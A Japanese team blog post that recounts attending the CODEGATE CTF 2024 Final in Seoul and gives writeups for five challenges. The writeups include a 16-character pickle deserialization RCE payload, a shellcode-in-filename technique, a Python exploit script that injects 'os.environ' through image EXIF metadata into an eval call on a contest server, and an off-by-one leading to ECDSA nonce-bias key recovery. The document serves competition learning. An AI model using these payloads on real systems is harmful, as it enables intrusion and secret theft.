CODEGATE CTF 2024 Final (初海外/初オンサイトCTF) 参加記 & writeup

技術部の桜井です。

2024/08/29から2024/08/30にかけて行われた、CODEGATE CTF 2024 FinalにCyber Dark Infernoの一員として参加してきました。1

結果は、20チーム中17位でした。

筆者自身は何もできなかったこともあり、苦い思い出を綴った今回のブログは、「参加記」と「writeup」の2部構成となっています。

参加記はタイトルにもある通り、初海外な筆者の現地での行動と、初オンサイトCTFに参加した感想が書かれています。

writeupについては、以下5問が書かれています。

  • [Misc] MIC CHECK: 私が、メンバーにキャリー2をしてもらい、FLAGをsubmitした問題。
  • [Misc] Jumper: メンバー寄稿 (Author: 清水 祐太郎)
  • [Misc] Super Jumper: メンバー寄稿 (Author: 清水 祐太郎)
  • [Web] combination: メンバー寄稿 (Author: 新穗 隼人)
  • [Crypto] SMS: メンバー寄稿 (Author: 前田 優人)

参加記は興味ないから、writeupを見たいという方は、writeupを参照ください。

CODEGATE CTFについてや、出場メンバーの決定秘話などに興味がある方は、サイバーディフェンス研究所発CTFチーム「Cyber Dark Inferno」へインタビュー【CODEGATE CTF 2024 Finals編】も併せてご確認ください。

参加記

Day 0 (08/28)

私達、Cyber Dark InfernoはCTF開催前日である2024/08/28に日本を旅立ちました。

初海外なので国を出ることに恐怖を感じていましたが、海外で開催されるCTFによく参加しているメンバーと一緒だったので心強かったです。(ありがたい...)

飛行機の中では初の機内食を食べました。
機内食はあまり美味しくないイメージでしたが、かなり美味しくてびっくりしました。

韓国には18:00頃に到着し、この日は夜ご飯に鍋を囲みました。
ご飯はメンバーが「明日のCTFでFLAGをたくさん取ってくれれば良いよ」とごちそうしてくれました。3

Day 1 (08/29) ~ Day 2 (08/30)

CTF当日は、日本でも馴染みがあるマクドナルドで朝ご飯を食べ、ホテルから10分15分程度歩いたところにあるCTF会場のCOEXに向かいました。
COEXは、「Convention & Exhibition」の略称らしく、韓国を代表するコンベンション・センターとのことです。 参考: wikipedia (jp)

会場で受付を終えると首掛けを渡され、席につくとCODEGATEのオリジナルTシャツと、運営が用意してくれているポケットWi-Fiに加えて、会場のWi-Fiの認証情報が書いてあるスクラッチカードを渡されました。

会場のWi-Fiは認証後24時間のみ利用可能なのですが、メンバーは競技開始前に繋いでしまったため、終了間際には会場のWi-Fiが使えなくなったようです。

競技が開始されると、K-POPの曲がBGMとして流れていました。
K-POPは知っている曲が多いので、個人的には作業用BGMとして適していなかった気がします。
途中、歌いそうになったのでホテルにイヤホンを取りに帰りました。

また、私は会社のパーカーを着ていたので凍えることはありませんでしたが、会場は冷房が効いていたので、凍えている人が多かったみたいです。

CTF開催中の食事ですが、お昼にハンバーガー、夜ご飯として焼肉丼4、夜食(?)にピザ、朝ごはんにキンパが配られ、食に困ることはありませんでした。
ちなみに飲み物を持っていかなかったので、途中コンビニに行く必要がありました。

次に、CTF中の問題への取り組みについてです。
私は土日に開催されるCTFに参加する際は、Webジャンルを解いているのでWebジャンルを見ていました。

が、私はソースコードリーディング力が低いので、コード量が多いと怪しい箇所の目星をつけるのがまだ難しく、圧倒的実力不足を競技中に感じていました。

ただこれは言い訳であり、俗に言うprint debugを行えば、もしかしたら結果は違ったのかもしれないなと今になっては思います。
目星がつかない状況でやっても大変だから。という考えのもと少し諦めてしまったのが私の弱さだなと再認識しました。

そんなこんなで「なにもわからない」と思いつつ、問題に取り組んでいましたが、3:00頃にシャワーを浴びにホテルに戻りました。
結果とても眠くなったので、この選択はかなり悪手でした。5

ベタベタした状態を利用することで眠いけど寝たくない状況を作り出すライフハックを学びました。

そんなこんな、個人的には反省点が多い状態でCTFは終了しました。

CTFが終了したので一度ホテルに戻って少し休み、13:30に予定されてたCTFのAuthor writeupに参加するために会場に再度向かいました。6
Author writeupでは、私が競技中取り組んだが解けなかったdysonの解説をしてくれたのでとても助かりました。

Author writeupを見た後は、お昼ご飯を食べにShake Shackに行きハンバーガーを食べました。
初めてのShake Shackでしたが、ソースがかなり辛く感じました。
あの辛さが韓国仕様なのか、Shake Shackがそういうものなのかは非常に気になるところです。

お昼ご飯の後は、CODEGATEの催しを楽しみました。

Web3、AI、Badge Hackなどのコーナーがありましたが、私はRapid Hackに参加してみました。
Rapid Hackは、前田のDreamhack Invitational 参加記の中でも紹介されています。

一応さらっと説明しておくと、制限時間内にソースコードから脆弱な部分を探して選択し、正解の数を競うというもので、脆弱な部分を間違えると持ち時間が減ります。

言語は確かPython, C, JavaScriptだった気がしますが、私はCのセキュアコーディングが全くわからない7ので「これか?」と思い適当に押して時間が消滅してしまいました。
スキップをしたときのペナルティがどのようなものかはわかりませんが、スキップをした方が良かったのでは?と今では思っています。

参加の決め手は、疲れているからという言い訳ができるからです。(最低)

このようにCODEGATEを楽しんだところで、私のCODEGATE, CODEGATE CTFは終了しました。

会場からまたホテルに向かうわけですが、道中にピョルマダン図書館というおしゃれな図書館があるとのことで、少し見に行きました。

この日の夜ご飯は、各チームのCTFerとご飯を食べに行きました。

Day 3 (08/31)

帰国日である31日は、9:30にホテルを出て観光する予定でしたが、9:35にメンバーからのモーニングコールで起床しました。8
ただ、前日の夜に荷造りは済ませていたのでなんとか9:42に出ることができました。(遅刻は遅刻です)

明洞に着いたら、朝ごはん兼お昼ご飯として、「明洞餃子 本店」で、蒸し餃子と韓国手打ち麺を食べました。
韓国手打ち麺からは、かなり"にんにく"を感じましたがどちらも美味しかったです。

次に、「明洞実弾射撃場」に生まれて初めての実銃を撃ちにいきました。

明洞実弾射撃場ではいくつかプランがあり、最安値だと (当時のレートで) 25発 6000円程度だったと記憶しています。
BlackHatやDEF CON参加常連の方々はよく発砲していると思いますが、私は発砲したことは無いですし、これから発砲の機会があるかわからないので(当時のレートで) 50発 2万円ほどするプランを選択しました。

銃に詳しくないので説明が雑ですが、ハンドガン、マグナム、短機関銃を打ち、マグナムは手が吹っ飛ぶかと思いました。
カルシウムが足りていない場合、骨にヒビが入ってもおかしくない気がします。

射撃は的(紙に体の部位が書かれている)に向かって打ち、部位によって得点が書かれていて、その紙を受付に持っていくと最後に採点をしてくれます。9

発砲を楽しんだ後は、Nソウルタワー (旧名: 南山タワー)に行ったりと、観光を楽しみ、空港に向かいました。

帰りの飛行機の中では、人生二度目の機内食を食べ、これまた美味しかったです。

ちなみに、31日は関東で大雨の予報だったので、帰国できるかかなり不安でしたが飛行機の離陸は特に問題がありませんでした。
ただ、着陸は予定時刻より30分ほど遅れていました。10

writeup

[Misc] MIC CHECK

Miscジャンルとして出題された、MIC CHECKについて解説をします。

#!/usr/bin/env -S bash -c 'docker build -t mic-check . && docker run -p 1557:1557 -d --rm mic-check'

FROM python:alpine

RUN apk update && apk add socat

COPY flag /flag
EXPOSE 1557

CMD socat -T10 -t10 tcp-l:1557,reuseaddr,fork EXEC:"python3 -c \"__import__('pickle').loads(__import__('sys').stdin.read(16).encode('ASCII').replace(b'sh',b''))\"",su=nobody,stderr

上記Dockerfileが配布されます。 pickleでのRCEを16文字でやりましょうという問題です。

https://heartathack.club/posts/pickle-rce-without-reduce.html を参考にして、(S"id"\nios\nsystem\n.のようにすれば良さそうですが、これでは文字が多すぎます。

ここでメンバーがVを使えば良いと教えてくれ、(Vid\nios\nsystem\n.が出来上がります。 ただしこれだと17文字とまだ長いので、末尾の.を消して16文字の完成です。

16文字にはできたものの、ここからどうすれば?となっていましたが、メンバーが、viの:!<COMMAND>で任意のコマンドが実行で終わりじゃんと言っていたので、(Vvi\nios\nsystem\nでviを起動して、:!cat /flagでフラグが取れました。

[Misc] Jumper, Super Jumper

Jumper 及び Super Jumper は、共に misc ジャンルとして出題された問題です。 Super Jumper は、Jumper に存在していた不備(意図的でないバグ)を修正したリベンジ問題です。

問題概要

任意のELFファイル及び任意のアドレスを受取り、そのアドレスに制御を飛ばして実行を行うサービスです。 アドレス空間ランダマイズ(ASLR)に対するヒントとして、予めページマッピングの状況が示されます。

受け取ったELFファイルは、/tmp/jumper.XXXXXX/ といったような一時ディレクトリ下に配置されます。 保存時のファイル名は指定することができます。 ただしファイル名にはbasenameが利用されるため、スラッシュを含めてパストラバーサルを行うことはできません。

受け取ったELFファイルは、子プロセスとして ptrace 下で実行されます。 その際に、ユーザから指定されたアドレスをRIPレジスタに設定し、他の汎用レジスタは全て0xffffffffffffffff となります。 スタックポインタには手は加えられません。

指定することが出来る実行開始アドレスには制限が存在しています。 当該処理の部分を逆コンパイルした結果は以下の通りです。 このループを抜けることができれば、RIPにjumpaddr を設定する処理に進みます。

親プロセスは procfs から子プロセスの maps を一行ずつパースします。 マッピングされたページのファイルパスに "tmp" という文字列が存在している領域をジャンプ先に指定した場合には、指定をやり直させる動作を意図していたことが見受けられます。 つまりこの制限は、送付したELFファイルがマッピングされたアドレス以外であれば、任意のアドレスから実行を開始させることができることを意味します。

しかしながら、この制限の実装には不備が存在していました。 ここに記述された条件文では、指定したジャンプ先のアドレスが一番下位にマッピングされた領域外であれば即座に break してしまうため、遷移を許可をしてしまうでしょう。

Jumper 解法

上記の不備が存在したため、Jumper ではELFファイルを通常通りエントリーポイントから実行させることが可能となっていました。 /bin/sh を立ち上げるプログラムを送付し、そのプログラムの _start() 等のエントリーポイントを開始アドレスに指定すればシェルが立ち上がります。

Super Jumper 解法

上記の不備が修正されたリベンジ問題です。 制限により、ELFがマッピングされた領域を指定して実行を開始させることはできません。 そこで他に命令列を置くことが出来る可能性がある場所として、スタック領域に注目をしました。 任意のELFファイルを立ち上げることが出来るため、スタック領域が実行可能になるようなものを用意します。 これはリンク時のオプションとして -z execstack を指定することで可能になります。

これを送付してプロセスが立ち上がった際の、マッピングの様子は下記の通りです。 [stack] と示されている領域の権限が rwx となっており、確かに実行ができるようです。

$ cat /proc/$(pgrep "\?")/maps
00400000-00401000 r--p 00000000 fc:00 1572977                            /tmp/jumper.8dAp5r/11j0ZH
00401000-00402000 r-xp 00001000 fc:00 1572977                            /tmp/jumper.8dAp5r/11j0ZH
00402000-00403000 r--p 00002000 fc:00 1572977                            /tmp/jumper.8dAp5r/11j0ZH
7ffe27abc000-7ffe27add000 rwxp 00000000 00:00 0                          [stack]
7ffe27b6e000-7ffe27b72000 r--p 00000000 00:00 0                          [vvar]
7ffe27b72000-7ffe27b74000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

スタック領域に命令列を配置するためには、ファイル名を利用します。 スラッシュやNUL文字が含まれないように気を付けてシェルコードを作成し、これをファイル名として使用します。 こうすることで、シェルコードが実行可能なスタック上に配置されるため、ここを実行開始アドレスに指定することで任意コードの実行が実現します。

子プロセスのスタックの様子は、下記のように procfs の mem を通じて確認を行います。 このような手段を採る理由は、親プロセスが ptrace で当該プロセスにアタッチしているため、gdb を利用することが適わないためです。 この環境下では、ファイル名の終端が常にスタックの終端から10byteだけ手前に来ることが分かったので、シェルコードの長さを加味して調整を行ったアドレスに遷移をさせればよいでしょう。

$ sudo dd if=/proc/$(pgrep "\?")/mem bs=1 skip=$((0x7ffe27add000-0x40)) count=64 | xxd                                          
dd: /proc/186803/mem: cannot skip to specified offset
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 2f74 6d70 2f6a 756d 7065  ....../tmp/jumpe
00000020: 722e 3864 4170 3572 2f31 c031 ff6a 305a  r.8dAp5r/1.1.j0Z
00000030: 4889 e60f 05ff e400 0000 0000 0000 0000  H...............
64+0 records in
64+0 records out
64 bytes copied, 0.00029866 s, 214 kB/s

余談

実は私は Jumper に存在していた不備に気が付いておらず、初めから正規の方法でこの問題を解いていました。

不備の存在に気が付いた出題者が大会開始から約5時間後にアナウンスを行い、その30分後の15時半に修正版の Super Jumper が出題されました。 どのような修正が行われたのかはアナウンスされていないため、ものは試しと Jumper で通っていた exploit に何も手を加えることなくこちらにも投げてみました。 すると当然何の支障もなくシェルが実行され、フラグを得ることが出来ました。

出題されてから30秒強でフラグを提出し、First Blood (一番初めに問題を解いたことを示す) を獲得しました。 他のチームも同様にどんどん解いていくものだろうと思っていたのですが、30分ほどは解かれていなかったのでどうやら我々だけが Jumper を想定通りに解いていたということが明らかになった次第です。

[Web] combination

web ジャンルの問題として出題された combination という問題を解説します。

このアプリケーションは、2つの画像をアップロードすると、その2つの画像をマージして新しい画像を生成します。

app.py を確認すると、以下の関数が存在することがわかります。また、docker-compose.yml を確認すると、FLAG は環境変数に設定されていることがわかるので、この関数を使用して環境変数の値を取得できれば良さそうです。

def safe_eval(code_string):
    allowed_globals = {
        "__builtins__": {
            'os': os,
        },
    }
    allowed_locals = {}

    try:
        return eval(code_string, allowed_globals, allowed_locals)
    except Exception as e:
        print(f"Error evaluating code: {e}")
        return None

アプリケーションの解析

まず、関数 safe_eval が実行される箇所を確認します。 app.py を確認すると、http://43.201.116.50:3456/verify に TRACE メソッドでリクエストを送信したときの処理の中で実行されることがわかります。また、実行結果はレスポンスとして得られることがわかります。

@app.route('/verify', methods=['GET', 'TRACE'])
def verify_file():
    flag = 0

    # 省略 #
    
    if request.method == 'TRACE':
        new_file_path = session.get('new_file_path')
        try:
            img = Image.open(new_file_path)
            file_ext = os.path.splitext(new_file_path)[1].lower()

            if file_ext in ['.png']:
                metadata = img.text
                return jsonify({'success': "Verified"}), 200
            elif file_ext in ['.jpg', '.jpeg']:
                img = Image.open(new_file_path)                
                try:
                    if 'exif' in img.info:
                        exif_data = img.info['exif']
                        if b"CODEGATE2024\x00" not in exif_data:
                            return  jsonify({'error': 'Unsupported file parse'}), 400
                        
                        json_start_marker = b"CODEGATE2024\x00"
                        json_start_index = exif_data.find(json_start_marker) + len(json_start_marker)
                        json_data_bytes = exif_data[json_start_index:]
                        json_data_str = json_data_bytes.decode('ascii')

                        try:
                            json_data = json.loads(json_data_str)
                        except json.JSONDecodeError:
                            json_data = None
                            return jsonify({'success': "Verified"}), 200

                except KeyError as e:
                    print('Index is not included')

                try:
                    exif_data = img._getexif()
                    if exif_data:
                        exif = {ExifTags.TAGS.get(tag, tag): value for tag, value in exif_data.items()}
                        for key, value in exif.items():
                            if "ImageDescription" in key:
                                ret = validate_domain(value) or validate_ipv4(value) or validate_ipv6(value)
                                if not ret:
                                    return jsonify({'success': 'Verified'})
                                if "(" in value:
                                    return jsonify({'success': 'Verified'})
                                if ")" in value:
                                    return jsonify({'success': 'Verified'})
                                description_contents = safe_eval(value)
                                items_dict = dict(description_contents)
                                return jsonify({'debug': f'{items_dict}' })
                except Exception as e:
                    print(e)
            else:
                return jsonify({'error': 'Unsupported file format'}), 400

            if flag == 1:
                return jsonify({'success': "This is an image"}), 200
            else:
                return jsonify({'success': "Verified"}), 200

        except Exception as e:
            return jsonify({'error': 'Error processing image'}), 500

次に、この処理を解析します。 関数 safe_eval が実行されるためには以下の条件を満たす必要があることがわかります。

  • new_file_path が示すファイル (アプリケーションが生成した新しい画像ファイル) の拡張子が .jpg もしくは .jpeg であること。
  • img.info['exif'] の値に b"CODEGATE2024\x00" が含まれていること。
  • img.info['exif'] の値のうち b"CODEGATE2024\x00" 以降の値が JSON デコードできること。
  • img._getexif() の値のうち ImageDescription の値が以下のいずれかの検証を通過できること。
    • 関数 validate_domain
    • 関数 validate_ipv4
    • 関数 validate_ipv6
  • img._getexif() の値のうち ImageDescription の値に括弧が含まれていないこと。

また、関数 combine_images_sliced を解析すると、アプリケーションが生成した新しい画像ファイルの Exif 情報は、ユーザがアップロードした2つの画像ファイルから引き継がれることがわかります。

def combine_images_sliced(image_path1, image_path2, output_path):
    # 省略 #

    elif file_ext in ['.jpg', '.jpeg']:
        exif_data = {}
        img1 = Image.open(image_path1)
        img2 = Image.open(image_path2)

        try:
            exif_data1 = get_info_data(img1)
            exif_data2 = get_info_data(img2)

            exif_data3 = get_exif_data(img1)
            exif_data4 = get_exif_data(img2)
        except Exception as e:
            bw_img.save(output_path, 'JPEG')
            return jsonify({'message': 'Struct is invalid. but, Files successfully uploaded and validated'}), 200

        merged_exif_data = merge_info_data(exif_data1, exif_data2)
        merged_exif_data2 = merge_exif_data(exif_data3, exif_data4)

        exif_bytes = convert_exif_data_to_piexif_format(merged_exif_data2)
        bw_img.save(output_path, 'JPEG', exif=exif_bytes)

攻撃コードの作成

上記の解析結果から、以下のような攻撃コードを作成しました。

from PIL import Image

import json
import piexif
import requests

image_a = Image.new('RGB', (100, 100), color=(0, 0, 0))

exif_dict = { '0th': {}, 'Exif': {}, 'GPS': {}, 'Interop': {}, '1st': {}, 'thumbnail': None }
exif_dict['Exif'][piexif.ExifIFD.UserComment] = b'CODEGATE2024\x00' + json.dumps({'aaa': 'bbb'}).encode('ascii')
exif_dict['0th'][piexif.ImageIFD.ImageDescription] = 'os.environ'.encode('ascii')

exif_bytes = piexif.dump(exif_dict)
image_a.save('image_a.jpeg', 'jpeg', exif=exif_bytes)

image_b = Image.new('RGB', (100, 100), color=(255, 255, 255))
image_b.save('image_b.jpeg', 'jpeg')

url = 'http://43.201.116.50:3456'
session = requests.Session()

res = session.post(f'{ url }/upload', files={ 'file-a': open('image_a.jpeg', 'rb'), 'file-b': open('image_b.jpeg', 'rb') })
print(res.text)

res = session.request('TRACE', f'{ url }/verify')
print(res.text)

[Crypto] SMS

maedaです。 今回は暗号(に加えてリバースエンジニアリング?)ジャンルの問題として出際されたSMSという問題を解説します。

概要

このバイナリにはプログラム上選択肢としてちゃんと表示されるコマンドと、解析をしないと存在がわからない隠しコマンドの2種類が実装されています。

  • コマンド
    • 登録
    • ログイン
    • ロール変更
    • パスワードリセット
    • 署名(ECDSA)
    • 公開鍵の表示
  • 隠しコマンド
    • kのリセット
    • フラグ表示(要認証) これらのコマンドとSMSという名前から察するに、Signed Message Serviceとか、そういう感じの名前の略称なんでしょう。

フラグを表示してくれるコマンドがあるので、認証をどうバイパスするかという問題と読み取れます。

バイナリ解析

ユーザーを定義する構造体は次のようになっています。

struct userobj
{
  char username[32];
  char role[32];
  char password[32];
  char k[32];
  bool k_used;
  void *key;
};

この構造体のうち、username, role, passwordの2フィールドはscanf("%32s")で標準入力から読み込みます。 kはECDSAの署名時に使われるNonceです。仕様上使いまわしは許されないので、署名時にk_usedフラグをチェックして1回しか使わないようになっています。

フラグ表示のコマンドを成功させるためには、最初から登録されているadminユーザーでSHOW ME THE FLAGを署名とともに入力する必要があります。 なお署名を発行するときにはFLAGという文字列が禁止されています。 これも迂回しなければいけません。

脆弱性とその攻撃

scanf("%32s")では、32文字読み込み切ったとき33文字目にNULバイトを挿入します。 つまり、username, role, passwordを入力するときに、次の構造体フィールドの1バイト目を上書きできます。いわゆるOff-by-oneエラーというやつですね。 構造体を眺めると上書きできる先はrole, password, kであることがわかります。

adminのパスワード変更

ロール変更のコマンドでは、adminを含めた全ユーザーのロールを書き換えられます。 adminに対して32文字のロールを設定すると、次のフィールドのpasswordの1バイト目にNULが書き込まれます。

これでパスワードは空の文字列として扱われるので、パスワードとして何も入力しなければadminとしてログインできます。

Nonceの上書き

パスワードを変更すればNonceの先頭1バイトをNULで上書きできます。 NULで上書きしただけで何かが起きるようには思えませんが、実はこれだけで署名を偽装できるようになります。

皆さんはCVE-2024-31497を覚えていますか? 簡潔に述べると、PuTTYにおいてP-521のECDSA鍵を使っていると乱数の偏りが原因で、署名を60個程度集めれば秘密鍵が復元できてしまうという脆弱性です。 P-521は名前の通り法に521ビットの素数を使うわけですが、当時のPuTTYはkの生成にSHA512を使っていました。521ビットに対して512ビットのkを使っているということは、差分の9ビットは常に0になっています。 これは……、今回の状況と似ていませんか?

攻撃には(EC)DSAの署名アルゴリズムと格子を使った暗号への攻撃についての知識が必要になりますが、それだけで1記事以上の分量になってしまうため深くは扱いません。 Nonceにバイアスがあるとき署名を一定数以上集めると秘密鍵が復元できるということだけ覚えておくといいでしょう。

Nonceの上書き(2回目以降)

署名コマンドのロジックを確認すると、1回署名をするとk_usedフラグが有効になり、2回目以降はkとしてNULLを渡す実装になっていました。 generate_sig関数の中ではkがNULLの場合は新たに生成した乱数を使うようになっています。 これでは脆弱な署名を集めることはできません。

そこで、隠しコマンドのkリセットを活用します。 このコマンドにはkをリセットして新規の乱数に変える以外に、k_usedをクリアして再度構造体のkを使えるようにする効果があります。

今までの攻撃をまとめると、次の手順を繰り返すことで署名を大量に集められるはずです。

  1. パスワード変更のOff-by-oneでkの上位8ビットを0にする
  2. 1で用意したkで署名を作成する
  3. kをリセットする

まとめと感想

C言語由来のバグであるOff-by-oneエラーとECDSAの弱点が組み合わさって署名偽造ができるようになるという面白いテーマでした。

暗号パートは似た問題を昔見たことがあってそれを参考にしたので何とかなっていますが、実際はかなりギリギリでした。 実は見たWriteupの格子がいまいちで、正解率が推定数パーセントみたいな状態で何度もスクリプトを回しています。 コンテスト終了後に学習して、正解率がほぼ100%のコードに修正できたのでいい機会になったと思います。

最後に

初オンサイトCTFに参加してみて、後悔は残りましたが、改善できるところから改善して、次なんらかの機会があれば成長して挑めたらいいなと思います。

機会をくださった、先輩方、参加を許可してくれた会社、 また、CODEGATE CTFの運営の方にも感謝をしなければなりません。
ありがとうございました。楽しかったです!


  1. 今回参加したのは、「実力」ではなく、「若者頑張ってこい枠」なので、「決勝に行けるような実力がある人」という勘違いはだめです。 ↩︎

  2. 初心者ログインボーナス。 ↩︎

  3. 何も解けていないのでただご馳走してもらった人になりました。 ↩︎

  4. 名称が合っているかはわかりませんが、協議の上、焼肉丼に決まりました。 ↩︎

  5. 結局、24hは起きれず、3時間くらい寝てしまいました。 ↩︎

  6. 結局開始されたのは14:00でした。 ↩︎

  7. 他の言語なら出来ると言っているわけではない。 ↩︎

  8. iPhone, iPad, Apple Watchの構成でアラームをかけていたけど起きれず... 申し訳ございません ↩︎

  9. 「うまいね」と言われて嬉しくなりました。 ↩︎

  10. 無事帰国できたのでヨシ ↩︎

© 2016 - 2024 DARK MATTER / Built with Hugo / テーマ StackJimmy によって設計されています。